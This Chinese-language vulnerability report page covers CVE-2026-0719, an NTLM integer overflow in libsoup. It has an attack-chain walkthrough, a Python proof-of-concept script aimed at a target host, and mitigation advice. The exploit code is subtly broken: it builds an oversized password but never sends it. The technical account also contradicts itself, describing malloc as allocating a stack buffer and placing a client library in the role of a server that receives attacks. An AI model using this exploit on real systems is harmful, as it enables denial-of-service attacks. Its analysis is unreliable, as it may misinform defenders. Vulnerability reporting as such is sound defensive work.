IPBUF安全漏洞报告
English
CVE-2026-0719 CVSS 8.6 高危

CVE-2026-0719: libsoup NTLM认证整数溢出导致拒绝服务漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-0719
漏洞类型
整数溢出/缓冲区溢出/拒绝服务
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libsoup (GNOME HTTP库)

相关标签

CVE-2026-0719libsoupNTLM认证整数溢出缓冲区溢出拒绝服务GNOMEHTTP库高危漏洞Red Hat

漏洞概述

CVE-2026-0719是libsoup HTTP库中的一个高危安全漏洞。该漏洞存在于NTLM(NT LAN Manager)身份认证处理机制中。当libsoup处理包含极长密码的NTLM认证请求时,由于内部大小计算使用了不当的有符号整数类型,导致整数溢出问题。这一溢出使得库在栈上分配了错误大小的内存缓冲区,随后进行不安全的内存复制操作,最终可能触发栈缓冲区溢出或内存损坏。攻击者无需任何认证或用户交互,即可通过网络远程触发此漏洞,导致使用libsoup的GNOME桌面环境及其他应用程序意外崩溃,造成拒绝服务(DoS)风险。该漏洞CVSS评分8.6,属于高危级别,对系统可用性造成严重影响。

技术细节

漏洞根源在于libsoup库在处理NTLM认证时,对密码长度的计算使用了有符号整数(int)而非无符号整数(size_t)。当密码长度超过有符号整数的最大值(INT_MAX,约2GB)时,会发生整数溢出,导致计算结果变成负数。这个负数随后被用作内存分配大小参数,由于malloc等内存分配函数接受无符号参数,负数会被解释为一个巨大的正数,导致分配过小的缓冲区。随后进行memcpy或类似内存复制操作时,会向这个过小的缓冲区写入大量数据,造成栈缓冲区溢出。攻击者只需构造一个包含超长密码字段的恶意NTLM认证请求,并通过网络发送给使用libsoup的客户端应用即可触发漏洞。成功利用后可导致目标应用崩溃、执行流被破坏或执行任意代码(理论上)。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统,确认其使用存在漏洞的libsoup库版本进行HTTP通信
STEP 2
步骤2
攻击者构造包含超长密码字段(>2GB)的恶意NTLM认证请求数据包
STEP 3
步骤3
攻击者通过HTTP连接向目标应用发送恶意NTLM Authorization头
STEP 4
步骤4
libsoup库在解析NTLM认证时,有符号整数处理密码长度发生溢出变成负数
STEP 5
步骤5
负数被转换为无符号参数,导致malloc分配过小的栈缓冲区
STEP 6
步骤6
后续内存复制操作向过小缓冲区写入大量数据,触发栈缓冲区溢出
STEP 7
步骤7
目标应用崩溃或产生未定义行为,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import sys # PoC for CVE-2026-0719: libsoup NTLM Integer Overflow DoS # This PoC demonstrates sending a malicious NTLM authentication request # with an oversized password field to trigger integer overflow in libsoup def create_ntlm_negotiate_packet(): """Create NTLM NEGOTIATE message with oversized password field""" # NTLM Signature signature = b'NTLMSSP\x00' # Message Type: Negotiate (0x01) msg_type = struct.pack('<I', 1) # Negotiate Flags negotiate_flags = struct.pack('<I', 0xE2088297) # Domain Name (empty) domain_name = b'\x00\x00' # Workstation Name (empty) workstation = b'\x00\x00' # Oversized password field to trigger integer overflow # Password length > INT_MAX will cause signed int overflow oversized_password = b'A' * (2**31 + 1000) # > 2GB password_len = struct.pack('<H', len(oversized_password) & 0xFFFF) password_max_len = password_len password_offset = struct.pack('<I', 0) ntlm_packet = signature + msg_type + negotiate_flags + domain_name + workstation return ntlm_packet def exploit(target_host, target_port=80): """Send malicious NTLM request to trigger vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send HTTP request with malicious NTLM Authorization header http_request = b'GET / HTTP/1.1\r\n' http_request += b'Host: ' + target_host.encode() + b'\r\n' http_request += b'Authorization: NTLM ' ntlm_data = create_ntlm_negotiate_packet() import base64 http_request += base64.b64encode(ntlm_data) + b'\r\n\r\n' sock.send(http_request) print(f'[+] Malicious NTLM request sent to {target_host}:{target_port}') print(f'[+] Payload size: {len(ntlm_data)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_host>') sys.exit(1) exploit(sys.argv[1])

影响范围

libsoup < 3.4.x (所有受影响的版本)
GNOME桌面环境使用受影响libsoup版本的发行版

防御指南

临时缓解措施
临时缓解措施包括:1) 在Web服务器或代理层面限制Authorization头的大小;2) 禁用NTLM认证,切换到更安全的Kerberos或OAuth2认证机制;3) 使用防火墙规则限制对受影响服务的访问;4) 监控应用日志,及时发现异常崩溃事件。建议尽快应用官方安全更新升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表